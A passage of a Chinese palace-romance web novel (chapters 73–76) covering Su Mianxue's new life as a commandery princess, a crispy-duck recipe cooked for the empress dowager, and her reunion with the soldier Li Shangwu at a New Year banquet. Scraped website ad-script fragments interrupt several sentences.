谢长曦带着几人回到长公主府，苏眠雪逛了半个院子，屁股还没坐下歇半刻，封她为郡主的圣旨便来了。 一日下来脑袋昏沉沉的，谢长曦给府里下人赏赐，说了会话，见她辛苦不再留她，指了人带她到自己院子。 她心事重重，心中沉甸甸的透不出气，一个人在书房里提着笔写写画画。 时辰不早，她撂下沾满墨水的笔，将三张纸依次摆在桌面上，询问道：“苏盈呢，还没来吗？” 谢长曦给她指的人名字叫做豆蔻，年纪和她相同，她在写字画画时一直站边上看着。 豆蔻回道：“殿下已经派人去您的院子里等苏小姐，苏小姐年纪不小，当需要底下人解释一二，才肯放心的过来。” 苏盈今年十四，上午半日在学堂听课，下午半日需到绣坊学习女工，她帕子绣得好，绣坊的姑姑能拿出去卖，每月能拿一两银子。 她和柳俏怡几人一块，谈论些长安城里名门才子佳人的风味趣事。 柳俏怡父亲是六品官，在这偌大的长安世家贵女里连名号也排不上，家中没有足够的俸禄给她请夫子授课，才会同她们一块，在书院上学，和她一块的也都是芝麻小官。 但对于书院里其他人来说，她们几人属实官家小姐，举手投足间气质也不一样，她要学得东西比苏盈多，下午绣坊学习女工，回家后还需学书画管家一类。 几人现在聚在一块，所谈论的对象逃不出一直关注的人，当初倾慕百川书院学子，最终倾慕对象仅是进士三甲的梁纯。 柳俏怡说：“梁观音定亲了，是她之前倾慕的百川书院的公子。不过梁家本想和裴府三房的公子结亲，但她之前做得事都被人看着，裴家百年世家，现在虽不似从前显赫，但世家的面子比什么都重要，怎么会让她进府，她想闹也没门了。” 几个少女叽叽喳喳讨论着，苏盈对这些没兴趣，到一个路口后和几人分别，走进一家书肆，每月的十二日，照例去拿一本游记。 书肆的东家是位年轻人，店里卖得书除了四书五经，诗经论语之类，摆在最显眼的一面都是游记和杂书。 苏盈翻找了许久，都未见那本游记，眼见天色即将乌沉，只能作罢回到家中，今儿院子里的人很多。 苏盈没见过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这阵仗，移着步子往后退了好两步，差点被门槛绊倒，扶着一边的门才稳住身形。 一位干练的妇人走上前，端着温和的笑容：“苏小姐，奴婢奉长公主命令，来接您到公主府的。” 妇人是谢长曦身边的周姑姑，管着内院的内务，平日里雷厉风行的人，蹲在苏盈面前将前后都说给她听。 和风索索，夜色将笼罩繁华的长安城。 苏盈始终想着，其实白日还是黑夜，对于长安来说，都是一样的。 但又有不一样的。 白日里他们是身着得体的衣裳，手里拿得扇子端得是风度翩翩，黑夜里，撕碎所有的伪装。 亮如白昼的灯笼将点照长安城，一巷的角落暂未覆盖，只能躲在暗处露出希熠，妄想着不该有的幻想，夜色会满足他们的念。 苏盈揪着袖子，玩着袖子上的竹叶。 周姑姑依旧蹲着身子，爱抚得摸着她的长发。 苏盈捏着袖子上的竹叶，周姑姑问道：“这是阿姐给你绣得？” “这是我自己绣得。”苏盈轻声说着，其实从始至终该去适应接受的都是她。 她为苏眠雪高兴找着了亲人，但心里没由来的空落，语气里有些闷闷：“姑姑，容我收拾下东西，便和你一块走。” 苏盈拿了两套自己喜欢的衣服，和四本书皮上写了“九州游记”的本子。 她花得时间不多，但等到周姑姑带着人回去，天已经彻底黑了。 公主府的灯笼每走六七步就能碰见一盏，有些藏在花草中，有些藏在矮树中，月色朦胧，花香四溢。 身影在昏暗的灯光下若隐若现，苏眠雪等在一角的垂花门。 她拉住苏盈的手，和声说：“盈儿，从景乡镇起我们便一路相持，我和阿娘商量后，决定认你为义女，不管什么身份，你都是我的妹妹。” 从前是两个人，她们不说，旁人也当她们是相依为命的姐妹，但现在又不同，世家注重名分，苏盈心里必会迷茫迷茫之后自卑从而导致生分。 苏眠雪不希望自己身边的人会因为这些而绊住脚，而给足对方的定心丸，唯有实物给予。 苏盈瞪大眼，一副不可置信，“阿姐给得已经够多，若没有您盈儿只是景乡镇一富绅家中的婢子。”若没有遇到苏眠雪，她依旧没有名字，她不会认字读书，她也见不到长安景象。 这个结果对她来说太过意外，对她来说能留在苏眠雪身边已经是长公主的恩典。 好像都在改变，但她们之间的情谊却不会变。 苏盈牵着她的手，一路再无言，两人心中都知晓，冥冥之中，她们都是对方最重要的人。 73. 脆皮鸭 庭院深深，枫叶如火。 一场秋雨过后，热闹的长安城被寒风笼盖，府上的人躲着几日不出来。 即便如此，深宅大院中也不缺热闹。 苏眠雪接受挺快，两人和她从前父母都有七八分相似，许是装束不同的原因，所以改了样貌。 三人相处方式与其说是从未见过失散多年的，不如说是久别重逢，适应几日后又同平常无二。 她隔三差五去一趟清风楼，习惯了给店里的小二来个出其不意。 不过今儿下了雨，谢宝姝递了拜帖，她又一心铺在李大牛给她的信封上，日子定格在去年，显然是她离开景乡镇后，李大牛给李大娘寄去的。 两人如今都失了联系，但对方笔下的字字留情。 叫苏眠雪难以想象一个五大三粗的汉子，捏着沙包一样的拳头握住笔杆，板正地写下抒情的字句。 文化程度不高，遣词造句可以看出用了全身力气，不敢懈怠半分。 谢长曦在长安遍满耳目，但在川州又没有半分办法，不得已找上皇帝，但在数十万的小卒中却如同大海中捞针，那针还是最细的。 将军就那么几个，一层层下面是十倍的人，即便是皇帝，也没有立刻见效的办法。 苏盈捻着飘落在窗柩前的枫叶，不多时，裴攸和谢宝姝到了。 自分别后，几人都已有好几月未见。 裴攸身着红色官服，不减当年半分风采，他平日里懒散，习惯倒头就睡，束爱散着头发。 再次碰面，疏远下，又藏着些许算计。 “姐姐，这是妹妹的赔礼，略显寒酸您莫嫌弃。”谢宝姝将一斛东珠摆在她面前，熟捻唤着，“姐姐回来也有数日，幸好阿攸得父亲提点，误打误撞让太后知晓了这些，事儿才简单了起来，可怜这些天雨太大，就是坐了马车也容易湿了鞋袜，妹妹不愿为难下人，这才晚了来见您，姐姐莫要怪罪。” 东珠是皇后给她的，小小的盒子里铺了一层，粗略数有六七颗，这份所谓的赔礼并不寒酸，作为谢长曦从前疼爱的人，宫里好东西自如流水般赏赐给她。 苏眠雪扶着盒子，苏盈凑过来，伸出手摸了下珠子，笑嘻嘻说：“这些珠子可真漂亮，比殿下送来的都要好看。” “都是宫里送来的，等秋雨过后，姐姐进宫见见舅母，你的性子，她定然喜欢你。”谢宝姝笑眼弯弯。 两人关系从来没有明着僵持过，以往是谢宝姝为难过，但作为平民的苏眠雪没法反驳，只能忍下。 现在人都是要面子的，说白了能合就合，撕破脸给别人看笑话，落不好的只有她们。 “这盒子一看就没用过，都是新的。”苏眠雪盖上盖子，往她面前的桌子推了半分，“东珠珍贵，是舅母赏你的，我怎能夺人所爱。” 她现在收下这盒珠子，指不定背后又会弄出什么事，两人不会有明面上的冲突，若是有什么需要装作姐妹和睦的，她也不愿在大庭广众下演戏，不如就淡淡的，做个普通姐妹，见面问声好，能说几句话，至于其他的便免了。 “呵。” 竹柄的扇子搭在桌上，很轻的声音，但雅间内太静，和主人的笑声一块传入耳。 笑意如春水一般，听在心眼里似水羡羡，荡起涟漪。 难怪谢宝姝宁愿委屈自己也要满足裴攸的决定，换作任何人来，对着这张脸都要无底线的去满足。 但苏眠雪从始至终都不这么觉得，他求的是自己对救命恩人的一个心安理得，她或许沉沦过，但也只是浸于美色中，一时的失魂。 修长骨节分明的指头敲击着椅子，苏眠雪听着，在心里数着一下又一下，在第七下时停了。 裴攸终于说出她们此行的目的：“太后派人请了长姐和姝儿一块进宫。”他说得尽量玩玩，“臣想，不如长姐与我们一块进宫，也好叫太后娘娘放心不是。” 苏眠雪看着杯盏中一片落在汤底的茶叶，叶儿在碧绿茶汤中舒展着，她端起时，动作有些大了，叶片晃了下，又很快没了脾气。 她就像汤底里的茶叶，即便摆动大了些，但有些人生来就是好脾气，只会恼一下，又继续沉默着，随遇而安。 “可惜我明日需要赶早，给皇祖母做份早膳，妹妹和妹夫也要一块吗？”苏眠雪笑意盈盈，“可我怕耽误四公子早朝的时间，我记得明日不是休沐。” 茶汤渐凉，色泽黯淡。 苏眠雪倒了茶，拿出茶叶重新给自己沏了一壶。 苏盈在边上坐着，始终不明白苏眠雪怎会突然生气，仅是裴攸的一句话吗。 谢宝姝得宠是因为刚好填补了谢长曦失子的痛，她没回来前，谢长曦的目光只会落在她身上，但只是养了一段时日，感情并没有浓厚到非她不认的地步。 况且苏时章是谢长曦的驸马，谢长曦将愧疚一概充到他们身上，宫里看人下菜，谢宝姝是怕没了这份青睐。 裴攸是怕没了昭阳长公主府的助力。 人人都为利益而驱使，即便是人淡如水高挂云端的也不例外。 苏眠雪为了证实自己说得话，以免被谢宝姝捏住这个把柄，次日一早宫门一开，带着人就跑了进去。 去寿康宫的路她已经熟悉，现在不用人带着，就能自己摸着进小厨房。 谢长曦和苏时章昨日进宫后就没出来过，小厨房正在忙碌。 除了御膳房的粥点，小厨房也会专门猜姜太后的心思，备一些糕点。 上午陪着姜太后说了会话，午膳是皇帝和皇后到寿康宫用，苏眠雪提前不少时间用来准备。 御膳房送了一只鸭子来，姜太后近日念着脆皮鸭，苏眠雪顺利接手，和苏盈在厨房里大刀阔斧弄了起来。 送来的鸭子都是提前处理过，所以不用苏眠雪多费心神。 脆皮鸭的本身是靠调料腌得够不够味，渍入骨肉间，皮脆肉嫩，满嘴爆油，口口留香。 鸭子立在盆子中，尚膳副打了滚开的热水，一瓢浇在鸭子身上，连着三次，用棉布将水分吸干，挂在窗前，两个小宫女守着静待风干。 苏盈看得入神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ：“每次想去买只脆皮鸭吃，可以说是一波三折，一等就是半个时辰，运气不好轮到时刚好没了，又要等明日再来排。这做得也麻烦，还要等半个时辰才能到下一步，难怪他们家生意好。” 苏眠雪撞了她一下，说：“你若喜欢，今儿就多吃一些，倘若不够，让人出去走一趟，今晚上回去我们俩一块好好吃。” 苏盈乐得开怀大笑，弯着一双眉连连说好。 长安城的脆皮鸭子一绝，每家都有不同的风味。 她喜欢吃甜的，便是杏花书院对面的那一家。 几日不吃甚是想念，总是闷在府里面，再多的花也看得差不多，除了鸭子，她还惦记着书斋里头未找着的游记，这一下是彻底勾起她的心，不管明日有什么事，都要出门一趟。 脆皮水用蜂蜜、白醋和料酒调制，尚膳副的手和秤杆一般，稳稳当当三样调料各倒三十克，用毛刷将水涂抹在鸭子身上，一把扇子慢慢吹干，反复涂抹三次。 下一步尚膳副又开始犯难，苏眠雪已经切好苹果，拌入胡椒面孜然粉和鱼油，一股脑填满了肚子。 尚膳副见了立刻吓一跳，宫外是宫外，宫里是宫里，给贵人用得怎么能和宫外一样。 “郡主，让微臣来做吧。”尚膳副思考后，掏出一半的苹果，肚子里只留了寥寥几块，一双手都能数出来。 苏盈看得目瞪口呆：“外边的都会用苹果来填肚子，这样烤出来的有苹果的香甜味道，先生难不成是等烤得时候，将苹果放在边上？” 每家店不一样，但她们两人不知道，宫里并没有这一步骤。 尚膳副一时难以言齿，宫里给贵人吃得都非最好的，比如食材会特意挑选差不多中规中矩的，激发食材本身口感的同时，尚给自己留一线。 毕竟因素太多，庄子里今天送来的东西拔尖，厨子做好了有赏，但下次有了变故，做不出先前的味道，皇上又不会去考虑背后的关系，他只知道是底下人糊弄。 转念一想，这是郡主做得，不关他事，“静乐郡主的手艺，和驸马一般绝伦。” 尚膳副做起了观赏者，睁着眼瞧苏眠雪将苹果堆在鸭子身边，背部朝上放入石窖，莫约两刻钟的时间，一股香味钻了出来，厨子取出里边的烤鸭，朝上的背部色泽金黄，拿筷子轻轻一戳正留着热油，一下香迷糊了眼。 前后两面再刷上脆皮水，翻个面背部朝下，木板遮住入口，刚散去热的石窖温度逐渐上升，苹果蜷缩着果皮蒸发了汁水，将余香留在鸭子上，引来果香阵阵。 又是两刻钟的时间，鸭子已经烤好，挪开石窖底下的炭火，取出脆皮鸭时，破了肚子的小口正“咕嘟咕嘟”不停滋啦着热油。 锋利的刀剑轻轻一划。 “撕拉——” 鸭子外边的一层皮酥脆，厨子连着肉一块摆在盘子中，完整的鸭子被分为小块，只用筷子一夹，就能放入口中。 边上配了一小盘解腻的黄瓜，姜太后用膳的时辰已到，尚膳副有序指挥等候的宫女，笑道：“郡主，请吧。” 74. 回京 春阁芍药谢，一池碧水汤汤枯荷，唯余翠竹长青。 姜太后喜爱春花凋落，带来缓缓秋意，隔扇窗划了景，几道精致的佳肴整齐摆在名贵的檀桌前。 皇帝和皇后坐在右边，姜太后的另一边是谢长曦和苏时章，苏眠雪和苏盈坐在他们身边，再下面邻着皇后的是永昌长公主和驸马，小辈只有他们四人，四人皆是靠在一块。 宣帝皇子不多，仅有的两位都被打发到封地，无诏不可入京。 剩下的几位长公主居在府中，和谢长曦交情不深，每月入宫见见太妃。 脆皮鸭被摆放在姜太后的眼前，尚膳副指明了是静乐郡主所做，手法精湛，非他所能复刻。 姜太后拿起筷子，宫人布好菜，尝了一口，赞叹道：“果然比你做得好，阿雪做得，有果香味，不腻。” 尚膳副连连点头，领了赏赐，步子轻巧一溜烟没了影子。 酒过三巡，桌上女眷都显醉意上脸，苏眠雪双眼间更是多了几道重影，拉着苏盈说：“这果酒果然好喝，又甜又解渴，宫里的法子，果然比外边多。” 苏盈夺了她的酒盏，苏眠雪顺着她的动作，也不恼。 她是有些醉了。 “皇姐要找的人，如今正在雄虎营里头，前两月刚立了军功，名字叫做李尚武，现在是为校尉，管着一支小队。”皇帝说，“朕已命人让他年底回京复命，皇姐想见，届时便见见他，若想，也能一直留在长安。” 听到李尚武这个名字，苏眠雪霎时清醒了些，双手在衣摆下轻轻颤着，出声询问：“皇舅可能为我送一封信给他？” “如今离年底只差三月，一来一回，等你信送到，他也当回京述职了。”皇帝看了两眼谢长曦，见对方不动声色，又说，“不过静乐想要，给他带去也不是不可。” “是静乐劳烦皇上了。”谢长曦抬起唇角，眉眼温柔，“皇上日理万机，莫因着这点事而耽误国务，若因她而误了政事，真真便是她的不是。” “这些小事，还是让她自己去做吧。” 好不容易缓和的皇帝又萎了，“给皇姐办事，哪有麻烦耽误一说，让奴才去你府中拿封事再给去川州的将士，朕不过一句话的功夫。 静乐来宫里时间不短，只在母后这的时间多，朕让老三、老四多陪陪他，还有姜侍郎，与她年纪相仿。和她表哥一块，多在城中走动，多露露脸，给那些世家命妇见见我们的静乐。” “多谢皇舅，不过阿雪和母亲分别良久还想多陪陪母亲，在母亲膝下敬孝。”苏眠雪起身福礼。 谢长曦说：“她生辰在冬日，本宫已为阿雪备下赏花宴，届时世家命妇前来，又有谁人不知她。” “也好。”皇帝说。 姜太后看这其乐融融的一面满意笑着，她年岁大了，从前逃避不愿面对，现在想来修复残破的碎玉，只能力不从心。 现在这孩子回来，填补了两人僵持的关系。 “阿雪年纪大了，但说到底，还是要找自己喜欢的才是。”姜太后说。 皇帝讪讪，“母后说得是，小辈间的事，还是要他们自己来解决。” 秋花凋零，不似夏日里的明媚张扬。 信件交由一位太监，苏眠雪处理了庄子里种植甜菜的事。 她手头宽裕，甜菜制糖给她带来不少利润，同时因为身份变了，管束也随之少去，她加了不少人口种植甜菜，几近揽下长安大半的糖生意。 白糖红糖，价格比起淮州时会略高，但她不用算一路上北的人力，比起来长安贩糖的，又要适中许多。 除夕宴会几州的厨子来献艺，若能被太后相中，留在寿康宫当御厨，那真真是鸡犬升天。 除去几州厨子，还有淮州的安王，雍州的贤王。 苏盈好奇淮州会来些什么人，让人拿了一份名单来，苏眠雪随意看了眼，里边赫赫在目几个老熟人的名字。 琳娘实力过硬，她若愿意参加，就算上头堆满了拿银子入选的，安王为了所管辖封地脸面，也有她一席之地。 剩下两个名字，就属赵儒这位老熟人。 “没想到赵东家，还真有些本事。”苏盈将手里的络子放一旁，羡慕地看她，“阿姐每日就是读读书，那夫子竟追着我要我学这要我学那，我现在是连出府的时间都没。” 她心心念念的游记，现在只能看着仅有的几本读。 游记页数不多，多是笔下人印象深刻的几笔墨画，胜在讲得绘声绘色，苏盈想要看遍万千山河的决心。 苏眠雪摸了一颗糖吃，翻着手下账本津津乐道：“夫子器重你，你这个年纪学什么都快，刚好够教导。” 她不一样，宫里来的女官教她礼仪规矩，每次离开时总能被她看见那一丝孺子不可教也的不争。 其实苏眠雪很努力在学了，可比起苏盈学什么像什么的，她那连两只手都能忙得打结手忙脚乱，好似真那么愚钝不可教也。 新脑子就是好。 苏眠雪拨弄了下算盘，在宣纸上添下一笔。 苏盈看得愣神，轻轻说着：“我瞧你不是学不会，是不愿意去学，不想去学。” 明明身份都不一样了，苏眠雪不该去努力学会这儿的规矩，好融入进里，成为里面的一员吗。 其实她们两人都一样，但她学不会苏眠雪的洒脱，她喜欢拨算盘，这些对她来说，礼节只用撑得住面子就行。 苏盈学得快是为了快些融入，而不被这皇权重新刷洗下去，她需要一张属于自己的底牌。 …… 李尚武比之前更壮实了一些，穿着单薄劲装，外边单单一件厚重氅衣，沙包大的拳头捏着一沓信纸，拿在手里走在雪天里一个劲地傻笑。 今年年底皇帝要他回去复命，眠雪妹妹给他寄了信件。 韩兆见他一个劲的傻乐，不由得羡慕起来，“话说长安离我们镇上还远着呢。” 李尚武将信件塞在怀里：“眠雪妹妹说，他们从景乡镇到长安，花了一个月的脚程。” “你那妹妹是应下和你结亲的事了，笑得怎比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 从前还傻了几分。”韩兆恨铁不成钢，“女子都喜欢英孟威武的，你这傻样，怎么讨得了媳妇开心。” 韩兆来时就有家室，每月等着都是从淮州来的家书。 现在听见李尚武跟着回京述职的消息，说不羡慕是假的。 况且他那妹妹已经到了长安，等他回到长安，和皇帝复命之后就能去见情妹妹，好好叙一番旧，估计是要商讨结亲的婚事。 李尚武说：“眠雪妹妹不喜欢轻薄的人，你说得这些话，都是她不爱听的。” 韩兆摸了一把汗，“你懂什么，她嘴上说着不喜欢听，实则姑娘家心里都喜欢自己的夫君说这些话，她若真不喜欢听甚至反感，是不喜欢你这人，才会觉得难受恶心不爱听。” “你这话当真吗。”李尚武迷茫看他。 韩兆拍着胸脯：“自己当真，保真，你若不信，等到新婚夜的时候，对妹妹这样说…… 你试试她反应，若是羞红了脸一个劲推辞，那就是喜欢，她若恼羞成怒，便是逼不得已委身你这人。” “你这话，实在轻浮浪荡……” 李尚武站在原地愣愣出神，眠雪妹妹当真会喜欢这些话。 难不成，眠雪妹妹是不喜欢他这个人。 眠雪妹妹不喜欢他。 可眠雪妹妹不喜欢他，为什么要答应他。 难道眠雪妹妹是在安慰她。 不会的，眠雪妹妹给她寄了好多心痛，眠雪妹妹问他住得好不好，吃得好不好，眠雪妹妹就是对他有感情。 他要回去问眠雪妹妹。 将近年关，窗上贴了窗花，白雪下是一片遮掩着赤色。 官道山路绵延蜿蜒，他们身上穿了厚厚棉衣，身披盔甲，骑上最快的马儿，将在年关前回到长安请职述命。 李尚武扯着拉纤着骏马的缰绳，白雪落了满头，在腊月甘四的那日，进了长安城。 将领进宫复命，李尚武几位小将暂时歇在一处宅子。 他来不及多歇息片刻，从小到大在心底心心念念的人，他无时无刻都不在幻想着再次见面。 会是什么样的，久别重逢后该有说不尽的话，他会坦白自己的心意，问问她三年的约定可还作数。 其实他又没那么大胆，苏眠雪在他心中太过皎洁，即便见了不同的人，少年时的玩伴总能一次又一次侵入他的脑海中，挥散不去。 他换了一身劲装，走在繁荣大街上，不过一家又一家的酒楼铺子。 若是眠雪妹妹戴了那只蝴蝶簪…… “眠雪妹妹——” 一道清丽的身影从他面前而过。 蝴蝶簪子在漫天雪色下浮景破碎、闪耀。 李尚武想要抓住那抹橘色影子，橘色翩入，停在马车前。 “眠雪……” 华丽的马车消散在人群中，李尚武跟着跑了几步，停在酒楼前，目光黏在牌匾上，读着上边的字。 “清风楼、苏记。”李尚武恍然大悟，“苏记，是眠雪妹妹的酒楼。” 75. 宫宴 除夕夜，宗室着了朝服。 谢长曦换了一身属长公主身份的衣着打扮和妆容，气质庄严不容冒犯，凤眸轻轻一瞥，将苏时章吓了一个激灵。 过了年，苏眠雪便是十九。 走在前头的两人皆是愁眉苦脸，眨眼间女儿就要十九了，现在还没个说亲的，宗世和世族连个人都不来打听一下么，好歹给她炫耀炫耀，在他等眼前摆摆谱才对。 不过谢长曦想得坦荡，她成亲时便已经是二十一，晚两年而已，重要的是合心意，不出意外的话，苏眠雪已经有了人选，当是在镇上的那位竹马。 这样一想，舒坦开来眉目都缓和了不少。 “那李小将已经回京，今日宫宴他当会来。”谢长曦顿了顿，“你若心意他，为娘的也不会多加阻挠，不过父母之命媒妁之言，他人怎么样，为娘也要好好试探试探。” 苏眠雪拉上她的手，笑着说：“都听您的。” “不过我相信大牛哥。” 谢长曦被她的话逗弄笑出了声，民间村子、镇上对名字没有太多要求，只需一个好养活，随手一个名字就会给孩子套上当小字。 “等你定了亲事，盈儿的也要提上日程。”谢长曦温和转向苏盈，“你若愿意，和阿雪一块留在公主府也好，将来两人做个伴。” 苏盈过了年十五，原先安安稳稳坐着的屁股如坐针毡，憋了好久，才缓缓说：“义母，盈儿如今暂未有议亲的打算。” “无碍，你今年先和阿雪一块多看看，等有了如意郎君在于本宫说也不迟。”谢长曦说。 苏盈点头应下。 谢长曦的长公主府离皇宫不远，一炷香的功夫便到了。 苏眠雪和苏盈在府中学了好几月的礼仪规矩，不能说处处优美如画，但举止得体，叫那些看热闹的人挑不出半分错。 宫宴奢侈，壁以黄金，顶以琉璃，在月下似天宫一般。 各色衣着华贵，端庄持重的官员夫人公子千金齐聚一堂，百花争艳，叫她二人眼花缭乱，不知该把目光放在何处。 桌子上，摆了数道精致小食，谢长曦指着介绍今儿的活动，“这些菜里有各州来得厨子所做，那道菜得了母后喜欢，若是宫廷中的重重有赏，若是九州而来的，便可进御膳房当值。” 苏眠雪说：“若一直只用固定的厨子，菜色也会随之固定，但若适时的轮换，让他们不自觉间竞争，就会互相比对进步，口味便不会一成不变。” “对。”谢长曦夹起一块樱桃肉，品尝了一番后，拿帕子擦拭唇角，缓缓说，“这道菜正不是宫里厨子做得，母后不喜欢吃甜，宫里的厨子便不爱加糖。” 樱桃肉几道菜都是甜口，听谢长曦这么一说，苏眠雪拿了筷子夹起一块尝了味道，这一对比，的确和她平时吃得要更甜一些。 “是淮州的口味。”苏时章尝了味道，不假思索说出答案。 “淮州是鱼米之乡，没想到也喜欢甜口的菜系。”谢长曦略有惊讶。 “淮州临着扬州，两州人相往来，口味上自然也有同妙之处。”苏眠雪说着，又多吃了几块下肚。 这道菜她已猜想到是谁所做，许久未见，不经意间起了念旧的心思。 宫宴之后，男男女女分为两席赏花谈笑。 虽还在冬日，但所到之处的暖阁花香四溢，设了桌椅可供休息。 她进过几次宫，但都是在太后和皇后两厢殿宇，每次出门身边跟满了人，路也不用自己走，今日她二人商量着独自出去，不用旁人跟着。 好在豆蔻是公主府的老人，从前在宫里当过差，给她二人指了一条路。 出去前，苏眠雪卸了发上装饰的首饰，只留了固定发髻用得簪子、华胜、发带之类，苏盈暂未及笄，发间的首饰多为灵巧活泼之类。 卸掉首饰后轻巧了不少，带着苏盈一路弯弯绕绕，寿康宫的小厨房她熟悉，但对御膳房的却不熟悉。 连着几次走岔路，两人走累了，顺势找了一个地方歇息。 宴上喝了些酒，风一吹便忍不住泛困，苏盈扶着她，带她往边上坐着，“阿姐，不如等明儿再见他们也不迟。” 苏眠雪撑着栏杆，看向远处的月亮，她嘴角微扬，眉目带笑：“太过思念罢了。” 长久未见的人，再次相见时总会迫不及待期待着相处时光。 灯火如明珠在夜间绽放，一声巨响，天花从月而来，将皇城笼罩在烟火下，绚烂夺目。 苏盈捂着耳朵往后缩了缩。 好亮，好好看。 “阿姐，这些是……” “是烟花，是第三年了。” 她来这儿的第三年。 …… 同僚异样的目光叫李尚武如坐针毡，他沾了光今日来宫宴，坐在最末的的一桌。 能来宫宴的皆是五品以上官员，他坐得远，看不真切，心心念念的唯有在清风楼前的那一抹清丽身影，等了数日都未见那人。 带他来的将军说：“皇上和长公主赏识你，你以后的日子，可谓是飞黄腾达，再不用去川州苦寒之地，往后是留在长安享福，真叫我等眼红羡慕。” 这人的相貌的确好，个子挺拔健硕，少了从前的青涩憨厚，多了几分军人的硬朗，在川州历练之后，长安的风雪也不足为惧。 他当若等来年立功风光回朝，又不知会迷倒多少贵女。 可惜如今得了皇帝和长公主的赏识，要郡主的郡马上战场，一个刀剑无眼，可不要正值芳华的郡主守了寡。 李尚武皱着眉，皇上和长公主赏识他，又何来的飞黄腾达。 御书房内，皇帝正值壮年，稍得那一眼让他认定皇上是位不会逼迫臣子的仁君。 皇帝问他：“李卿今年二十有三，听闻还未娶妻，可是还未有心上人？” 李尚武猜不透皇帝的心思，但本着心意，如实说：“皇上，臣已心有所属，当年参军，也是为将来能够风光娶得心上人，臣一心爱慕之人，也唯有她一人。” 他心悦眠雪妹妹，只要眠雪不松口，他不会娶任何人。 皇帝饶有兴趣，又问：“若是要你娶郡主，你又当如何选呢？” “皇上，郡主天潢贵胄，臣身份卑微，不配迎娶郡主。”李尚武坚定说，“况且臣与吾妹两情相悦，若娶了郡主，皇上也只会撮成一对怨侣。” “李卿的意思是，朕胞姐的郡主，比不上你的心上人？” 李尚武嘴笨，边上的将军已经跪下给他请罪，叫人丈二和尚摸不着头脑。 他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意便是不愿意，他已经和苏眠雪定下，怎能来了一个更有权有势的，就能要他毁了他的约定吗。 男子汉大丈夫，说出来的话就要承诺。 “论语有言‘君子一言，驷马难追’，臣首先能做个一言九鼎的大丈夫，才能做一个忠良之臣，皇上才能委以臣重任，若仅仅是一句诺言都当不得数，臣相信皇上也不敢托用以臣。”他郑重跪在地上，磕了一个头，比之先前更加坚定，振振有词道：“臣想做个君子，能让皇帝委以重用的纯臣，所以，臣与妹妹定下三年之约，不管最后结果是否，在此期间，臣不会因此而擅自毁了诺言，臣迎娶郡主一事，恕难从命。” 不出将军意外，皇帝震怒，将他赶出了御书房。 天家的人能任由这初出茅庐的小子挑三拣？ 若是个有眼色早该一口答应表下忠心，这是生生葬送了自己的仕途。 昭阳长公主之女，若非这位长公主太过霸道，哪还轮得到他娶。 被赶出去的李尚武心情郁闷，左思右想也想不明白自己哪做错了。 丢掉官职，和完成说出的诺言相比，他认为自己更该去完成这个诺言。 御前总管太监给他指了回去的路，但是皇宫太大，这儿一个门，那儿一个门，着实为难第一次来得人。 李尚武便顺着太监的指向，一路问边上的宫人走回去。 到一亭台长轩前，走了几次只见远处灯火声影，几次下来都过不去，好似把他隔在了彼岸。 他走了另一条路，灯影晃晃，有些恍惚而不真切。 亭台上有两位女子正坐着，他走过去，恰时烟花弥天漫野，亮得睁不开眼。 “姑娘，请问金明池的路，怎么走？”李尚武试探开口。 靠在栏杆上着了橘色衣裙的女子显着醉态。 苏眠雪茫然抬起头，烟火点燃黑夜，同白日一般。 李尚武呼吸一滞，苏眠雪伸出手，指头轻轻点着他的胸口，扬起一抹笑：“往这走，就到了。” 果酒气味香甜，李尚武蹲着身子凑在她边上，鼻息间皆是她呼出来的甜腻气味。 他宫宴上并未吃多少，只吃了些垫肚子，再多的就是其他官员敬来得酒。 果酒并不醉人，他喝了好两杯也不嫌醉，但面对眼前的人，好像又有些醉了。 脑袋不自然间发昏，目光交织的那一刻，两人皆是一缓。 “眠雪妹妹……” 苏眠雪眼前出了重影，愣了半晌，方反应过来上下抓了抓，一把扯住他的衣服，压着嗓子小声叫道：“盈儿，你快来看看，我怎么看见大牛了？” 李尚武扶住眼前乱动的少女，下意识间将人打横抱起，姑娘身材高挑，在她对他而言并不重，一只手便能将人抱在怀中。 靠得更近了些。 果香中，还有一抹栀子。 发间的蝴蝶上下颤动，苏眠雪清醒了片刻，捂着嘴掐着固着腰上的胳膊，狠狠掐了下去：“李大牛，快把我放下来！” 李尚武连忙将人放在椅子上，苏眠雪一歪，又软软靠在栏杆上。 苏盈看了半天，张着嘴一个字也吐不出来。 半晌：“阿姐她，很想你。 喝了酒，正对着月亮思念。” 76. 番茄鸡蛋面 苏眠雪她，很想他。 这对于李尚武来说冲击太大。 因有更优秀的人在侧相比，他作为镇上码头搬运的工人只能忍不住自卑。 苏眠雪吹着风小憩了一会，这会头没先前那么昏沉，她思来想去，该是绕了太多路，宫里的果酒又香醇，看似温和实际后劲大，所以才会把自己绕晕。 去御膳房见琳娘的事只能推到第二日。 这会儿，眼前所到的事物被一黑色劲装挡着，只能看见对方腰部以下的身线。 她想着手上刚刚的触感，腰肢看似细窄，实则非常强硬有力。 抬起头，模糊的重影归在一块，刻画出一人的模样。 她知道李大牛会跟着回京，原以为会在年后，原来除夕前便回来了。 三年未见，李尚武变化和从前不大，顶多是更壮实冷峻，而苏眠雪个子抽条，披着狐袄将脸深深埋在毛领中。 抬起脸，长开的模样更加俏丽，身上也更多了些稳重气息，和从前比起更冷了些。 李尚武想。 两人相互看着，话语迟迟未落下。 良久，许是烟火之后的沉默，寂静的能够听到彼此地喘息。 李尚武霎时不自然，喘出的气息加重了几分。 风雪夜，落了满头白霜。 “你刚刚，问我什么？” “好久不见。” 眼底中倒映的是对方的身影，李尚武躲避她坦诚的目光，而苏眠雪则被那道炙热烫得下意识回避。 两人皆是双双低下头。 “好久不见。” “皇上召我去御书房——” 又是一滞，双双红了脸，再没有抬起头看对方的勇气。 苏眠雪刚清醒的脑袋又开始发昏，这个情况不太对。 怎么……有点暧昧。 她不由地想，太暧昧了。 感情就像一张纸，她若是那至外的人，看着纸上线条游走，保持着清醒不为所动，还能多几分思想。 她若是纸上的线，只能由从身到心的下意识而驱动，她不着想，她只能顺势而为。 